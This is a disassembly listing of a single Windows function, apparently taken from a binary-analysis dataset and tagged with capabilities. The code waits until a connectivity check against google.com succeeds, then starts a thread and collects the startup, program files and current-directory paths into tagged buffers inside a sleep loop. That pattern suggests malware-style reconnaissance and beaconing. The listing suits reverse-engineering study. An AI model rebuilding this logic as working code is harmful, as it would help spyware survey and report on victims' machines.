Function at 0x403960
Capabilities:
Create thread
Get common file path
Get program files directory
Get startup folder

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x65c
push ebx
push esi
push edi
lea ebx, [esp + 0x260]
call fcn.00403f30
xor esi, esi
lea ecx, [ecx]
push esi
push esi
push esi
push esi
push esi
push 0x405244
push str.google.com
lea eax, [esp + 0x27c]
push eax
call fcn.00403fc0
test al, al
jne 0x4039cb
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push esi
push esi
push esi
push esi
push 0x405244
push str.google.com
lea ecx, [esp + 0x27c]
push ecx
call fcn.00403fc0
test al, al
je 0x4039a0
push esi
push esi
push esi
push 0x403820
push esi
push esi
mov dword [esp + 0x24], esi
mov dword [esp + 0x28], esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea edx, [esp + 0xc]
push edx
call fcn.00401240
lea eax, [esp + 0x10]
add esp, 4
push eax
call fcn.00401450
lea ecx, [esp + 0x10]
add esp, 4
push ecx
call fcn.00401570
lea edx, [esp + 0x10]
add esp, 4
push edx
call fcn.00401700
add esp, 4
mov dword [esp + 0x4c], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
call fcn.004043c0
mov dword [esp + 0x50], eax
cmp eax, esi
je 0x403abc
lea ecx, [esp + 0x4c]
push ecx
lea edx, [esp + 0x58]
push edx
push eax
call fcn.004045a0
add esp, 0xc
test eax, eax
je 0x403aa3
mov edi, dword [esp + 0x4c]
mov ebx, dword [esp + 0x54]
cmp edi, esi
je 0x403a83
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], edi
cmp eax, esi
jne 0x403a78
mov dword [esp + 0x20], esi
jmp 0x403a83
push edi
push ebx
push eax
call sub.ntdll.dll_memcpy
add esp, 0xc
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ebx
push esi
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call ebx
mov eax, dword [esp + 0x50]
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
jmp 0x403ac8
mov eax, dword [esp + 0x50]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
jmp 0x403ac8
mov ebx, dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea ecx, [esp + 0x1c]
push ecx
push 9
lea eax, [esp + 0x14]
call section..text
add esp, 8
cmp dword [esp + 0x20], esi
jle 0x403aec
mov edx, dword [esp + 0x1c]
push edx
push esi
call edi
push eax
call ebx
lea eax, [esp + 0x58]
push eax
push esi
push esi
push esi
push esi
mov dword [esp + 0x30], esi
mov dword [esp + 0x34], esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea ecx, [esp + 0x24]
push ecx
push 0x401950
push 1
lea edx, [esp + 0x64]
push 0x40519c
push edx
mov dword [esp + 0x38], esi
mov dword [esp + 0x3c], esi
call fcn.00402920
add esp, 0x14
lea eax, [esp + 0x24]
push eax
push 0xa
lea eax, [esp + 0x14]
call section..text
add esp, 8
cmp dword [esp + 0x28], esi
jle 0x403b4d
mov ecx, dword [esp + 0x24]
push ecx
push esi
call edi
push eax
call ebx
lea edx, [esp + 0x58]
push edx
push esi
push esi
push 7
push esi
mov dword [esp + 0x38], esi
mov dword [esp + 0x3c], esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea eax, [esp + 0x44]
push eax
push 0x401950
push 1
lea ecx, [esp + 0x64]
push 0x40519c
push ecx
mov dword [esp + 0x58], esi
mov dword [esp + 0x5c], esi
call fcn.00402920
add esp, 0x14
lea edx, [esp + 0x44]
push edx
push 0xd
lea eax, [esp + 0x14]
call section..text
add esp, 8
cmp dword [esp + 0x48], esi
jle 0x403baf
mov eax, dword [esp + 0x44]
push eax
push esi
call edi
push eax
call ebx
lea ecx, [esp + 0x58]
push ecx
push esi
push esi
push 0x26
push esi
mov dword [esp + 0x58], esi
mov dword [esp + 0x5c], esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea edx, [esp + 0x2c]
push edx
push 0x401950
push 1
lea eax, [esp + 0x64]
push 0x40519c
push eax
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], esi
call fcn.00402920
add esp, 0x14
lea ecx, [esp + 0x2c]
push ecx
push 0xe
lea eax, [esp + 0x14]
call section..text
add esp, 8
cmp dword [esp + 0x30], esi
jle 0x403c11
mov edx, dword [esp + 0x2c]
push edx
push esi
call edi
push eax
call ebx
lea eax, [esp + 0x58]
push eax
push 0x208
mov dword [esp + 0x34], esi
mov dword [esp + 0x38], esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x3c]
push ecx
push 0x401950
push 1
lea edx, [esp + 0x64]
push 0x40519c
push edx
mov dword [esp + 0x50], esi
mov dword [esp + 0x54], esi
call fcn.00402920
add esp, 0x14
lea eax, [esp + 0x3c]
push eax
push 0xb
lea eax, [esp + 0x14]
call section..text
add esp, 8
cmp dword [esp + 0x40], esi
jle 0x403c73
mov ecx, dword [esp + 0x3c]
push ecx
push esi
call edi
push eax
call ebx
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], esi
call fcn.00401a30
lea eax, [esp + 0x10]
add esp, 4
push eax
call fcn.00401ad0
lea ecx, [esp + 0x10]
add esp, 4
push ecx
call fcn.00401dd0
add esp, 4
lea edx, [esp + 0x34]
push edx
push 0x402520
push esi
mov dword [esp + 0x40], esi
mov dword [esp + 0x44], esi
call fcn.004046d0
lea eax, [esp + 0x34]
push eax
push 0x14
lea eax, [esp + 0x14]
call section..text
add esp, 8
cmp dword [esp + 0x38], esi
jle 0x403cde
mov ecx, dword [esp + 0x34]
push ecx
push esi
call edi
push eax
call ebx
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x10]
push eax
mov dword [esp + 0x3c], esi
mov dword [esp + 0x40], esi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], esi
call fcn.00401f20
add esp, 8
test al, al
jne 0x403d37
cmp dword [esp + 0x18], esi
jle 0x403d15
mov ecx, dword [esp + 0x14]
push ecx
push esi
call edi
push eax
call ebx
cmp dword [esp + 0x10], esi
jle 0x403980
mov edx, dword [esp + 0xc]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x403980
mov eax, dword [esp + 0x18]
cmp eax, esi
jle 0x403d53
lea eax, [esp + 0x14]
call fcn.004034c0
mov eax, dword [esp + 0x14]
push eax
push esi
call edi
push eax
call ebx
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], esi
cmp dword [esp + 0x10], esi
jle 0x403d6c
mov ecx, dword [esp + 0xc]
push ecx
push esi
call edi
push eax
call ebx
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], esi
call fcn.00401ad0
add esp, 4
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x10]
push ecx
call fcn.00401f20
add esp, 8
test al, al
je 0x403d9f
mov eax, dword [esp + 0x18]
cmp eax, esi
jne 0x403d3d
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x403d81